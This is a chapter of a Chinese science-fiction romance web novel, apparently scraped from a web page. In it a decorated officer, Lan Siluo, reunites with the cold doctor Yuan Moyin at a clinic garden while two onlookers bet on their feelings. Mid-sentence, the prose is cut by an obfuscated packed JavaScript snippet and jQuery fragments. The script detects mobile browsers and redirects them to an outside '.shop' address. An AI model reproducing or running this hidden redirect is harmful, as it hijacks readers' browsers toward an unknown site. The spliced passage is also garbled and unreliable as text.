「验证成功,现在不是你的预约时间,请在十四小时之后再来。」
「验证成功,现在不是你的预约时间,请在四小时之后再来。」
「验证成功,现在不是你的预约时间,请在三十分钟之后再来。」
……
「验证成功,现在不是你的预约时间,请在一分钟之后再来。」
「验证成功,请进。」
被骚扰了一整天的门终于迎来解脱,开门时机关触动的声音好似隐忍的呻吟。
刚张开一条缝,兰司珞就凭借自己漂亮的身法一闪身进了别墅大门。
青囊诊所分前后两部分,中间是一个种满各式各样花和药草的花园,两边是几栋大小不一的房屋,仓库在房屋背后。
门口有一个医疗室,沈钧正坐在里面,看到兰司珞进来,面上冲他友好地打招呼,手上背着他“噼里啪啦”敲字。
沈钧:[人到了,记得睁大眼睛好好看着。]
沈钧:[哟,人家又特地打扮了一番,上次是‘俊美贵公子’,这次是‘优雅俏军官’。]
聊天框对面的乔砂没有回复,倒是面前的兰司珞冲沈钧开口:“请问……”
他说话的时候脚步停下,身上的军装外套随着他的动作展开又收拢,宛如孔雀开屏。
孔雀尾巴上还挂了很多亮晶晶的东西。
沈钧仔细看去,发现那是一大片军功章,红的蓝的金的白的,什么颜色都有,被兰司珞炫耀似的全挂了出来,晃得人眼花缭乱。
沈钧伸手掐了一把大腿,强忍住笑意,另一只手往花园深处指:“顺着这条道往里走就行。”
兰司珞跟着看去,花园里的道路弯弯曲曲,把花园切割成一个花卷。
他笑着对沈钧点头示意,金色的披肩发柔顺地自然垂落在耳边,衬得笑容唇红齿白,灼灼逼人。
今天的天气格外好,天空是纤尘不染的浅蓝色,阳光明亮而不灼热。
兰司珞好奇地走在花园里,发现许多叫不出名字的植物待在不同的容器中,旁边是各种器械尽职尽责地记录着它们的数据。
身旁时不时有不同的机器人路过,熟练地按照程序的设置调试容器。
他暗暗记下,脑海中浮现出自己那颗私人星球的布局,思索着在哪里加上这么个花园比较合适。
走入青囊诊所后半部分之后,稀奇古怪的植物越来越多,兰司珞看到一个其中一种植物开的竟然不是花,而是一对猫爪,没忍住伸手摸了摸它粉红色的肉垫。
猫爪植物竟然发出了弱弱的“喵喵喵”声,随之而来的就是“滴滴”的仪器报错声。
一大群机器人立即围了上来,将兰司珞赶到一边,安抚这一株猫爪植物。
兰司珞左右偷瞄,见没有人来才松了一口气,再也不敢乱摸这里的植物,飞快地往前逃去。
前方拐过一道弯,就看见两人正站在一盆长着牙齿的花旁边,那花隔着玻璃罩呲牙咧嘴地摇晃着。
其中一人一边躬身观察着这株花的状态,一边调试着仪器数据。
兰司珞眼里却只能看见另一个人。
只有在这一刻,他那颗朝思暮想的心才终于落回到胸口,十年昼夜不停的跳动终于有了回音。
他摸了摸胸口,那里出现了新的频率。
兰司珞尝试张口,但他在门外蹲守了十四个小时,紧张到一口水没敢喝,因而嗓子干涩,将那些想说的话语堵在喉咙里。
他往前挪了一小步,身上的徽章随着他的动作,发出一连串“叮叮咚咚”的撞击声。
他脸腾地烧起来,手忙脚乱去按住那些不听话的徽章,可那徽章的声音就像止不住似的,把他的窘迫奏响在宁静的花园里。
本来正在关注那株花的两人同时看了过来。
元墨洇的目光没有落在人身上的时候,她就像花园里一株珍贵的雪色药草,香气淡雅,气质卓尔不群。本应常年保存在寒冷的环境中,却因为没有调试好合适的环境而看起来有些病弱,似乎需要人去妥帖维护。
可是当她眼里那抹银色投射过来的时候,仿佛夜晚美梦惊醒,睁眼的一刹那刚好对上漆黑的天空中那轮高高悬挂的银月,整个人由内而外沁出寒意来。
兰司珞对上元墨洇的眼睛,只觉得那股寒意熟悉又陌生。
分别与相聚的身影在他眼里重叠,化作一个完整的元墨洇。
赫帆的劝告似乎在耳畔响起,他说元墨洇根本不喜欢他,说他从来只是一厢情愿。
兰司珞不信。
在他亲眼见到前,他不愿意信,更不可能信。
相较于十年前,元墨洇瘦了很多,脸上血色尽数褪去,呈现出一种比她的白衣更淡的颜色。
她似乎过得不太好,连带看向兰司珞的目光里,那股雪山似的纯粹的冷意不减反增,在冰冷之中更添了一笔刀锋般的锐利,刺得他红了眼圈,咬紧牙关才忍住了流泪的冲动。
兰司珞的无数个猜想中,他最不希望的猜想得到了证实。
元墨洇可以不再爱他,可以拒绝他,可以讨厌他。
但她怎么能、怎么能……
忘了他呢?
但是很快,兰司珞看见,那双眼落在他身上后,并没有快速移开。
而是慢慢浮现出他的面容。
与十年前一模一样的面容。
两个人无声对视的时候,乔砂在一旁静静观察着。
多亏了沈钧昨日的传授,乔砂一眼就从那灿烂的金发上认出面前的人是谁。她的眼神在元墨洇与兰司珞之间来回逡巡,最终把视线锁定在兰司珞身上。
毕竟元墨洇如同往常一般,神色淡然,她从眼角偷瞄到脚尖,除了目光停留的时间比平日里长,没有任何一丝不寻常的举动。
倒是兰司珞,以目前的天气情况来看,他的满脸通红显然不是晒的,以他的身份地位来看,他也不是哑巴或者结巴。
乔砂摸了摸下巴,若有所思。
“你……我……”兰司珞换了好几个字词,始终没能挑选出合适的话语,最终把大脑一闭,这才吐出一句完整的话,“你还记得我是谁吗?”
话音落下,他才知道自己说了什么,瞪大眼睛,手指在衣服外套上无意识抓挠,发出轻微的布料摩
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242879|197816||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
擦声。
“兰司珞。”
仅仅是叫了一声名字,声音很轻,兰司珞却连呼吸都停滞了下来。足足过了好一会,他才想起回应对方。
“元……咳咳……”他憋气到缺氧,抑制不住地咳嗽起来,一边咳一边已经选好了在哪里挖洞把自己埋进去。
等到兰司珞咳嗽完,硬着头皮地抬起头来,元墨洇依然站在原地看着他。
她表情丝毫未变,头顶的阳光一点点强盛起来,她的目光中的寒意似乎因此融化了些许。
兰司珞知道,她不会因自己的开心而动容,也不会因自己的窘迫而嘲笑。
她向来如此,装得下兰司珞满腔热烈的心意,也容得下兰司珞所有的莽撞和尴尬。
她总是静静地、冷冷地等在那里,等兰司珞收拾好所有的心绪,整理好自己的外表,再或是应承,或是拒绝地回应他。
兰司珞的手悄悄揪紧了裤子,眼神飞快地移开,又忍不住转回来多看两眼。
元墨洇在兰司珞调整好后便转身离去。
兰司珞垂下头,余光里正好有一把铲子,金属上映出他绝望的反光,正好可以当场挖土把他埋进花园里。
他心底叹了口气,头发丝耸拉到铲子的手柄上。
“跟我来。”
兰司珞猛地抬头,随着他的步伐,头上的金发一点点雀跃起来。
等到看不见两人之后,乔砂拿出光脑,看着沈钧给她发的那些消息。
乔砂:[我觉得你好像说对了,至少他们里真的有一个人一见钟情了。]
乔砂:[那位兰少将看起来智商不高的样子,眼光倒是挺高。]
沈钧:[你要相信我看了六十年偶像剧的经验,我要是你,现在就在把花搬到我的实验室的路上。]
乔砂:[你赌的两个人都一见钟情,我赌的两个人都没有一见钟情,现在只能证明兰少将有那个意思,我们都没赢。]
沈钧:[那我们走着瞧。]
兰司珞脚底踩着棉花,同手同脚地跟着元墨洇进了诊室。
诊室里有一个巨大的高级医疗舱,周围摆放着各种仪器。窗前有一张书桌,书桌旁安放着一张与学生宿舍的床铺差不多大的窄床。
元墨洇坐到书桌前,五块虚拟屏幕铺满了整张书桌的边缘。她瞥了一眼神色涣散的兰司珞,食指轻扣桌面:“治疗记录。”
见兰司珞没有回应,她又添上几个字:“兰司珞。”
这个称呼轻易就将兰司珞的心高高抛起又抓回手里,他条件反射地回答:“到!”
元墨洇摸着手腕上的光脑,静静看着他。
兰司珞手忙脚乱地按动自己的光脑,一连弹出十几个界面才找到治疗记录。
他抬头眼巴巴地看着元墨洇:“能不能加个通讯账号的好友?”
治疗记录有其他的传输方式,但他不想用。
元墨洇抬起手,兰司珞立刻将自己的光屏移动到她面前,目光情不自禁地追逐那根手指,看着她在自己的屏幕上摁出一串账号代码。
兰司珞紧紧盯着那串代码,半晌才发送了好友申请。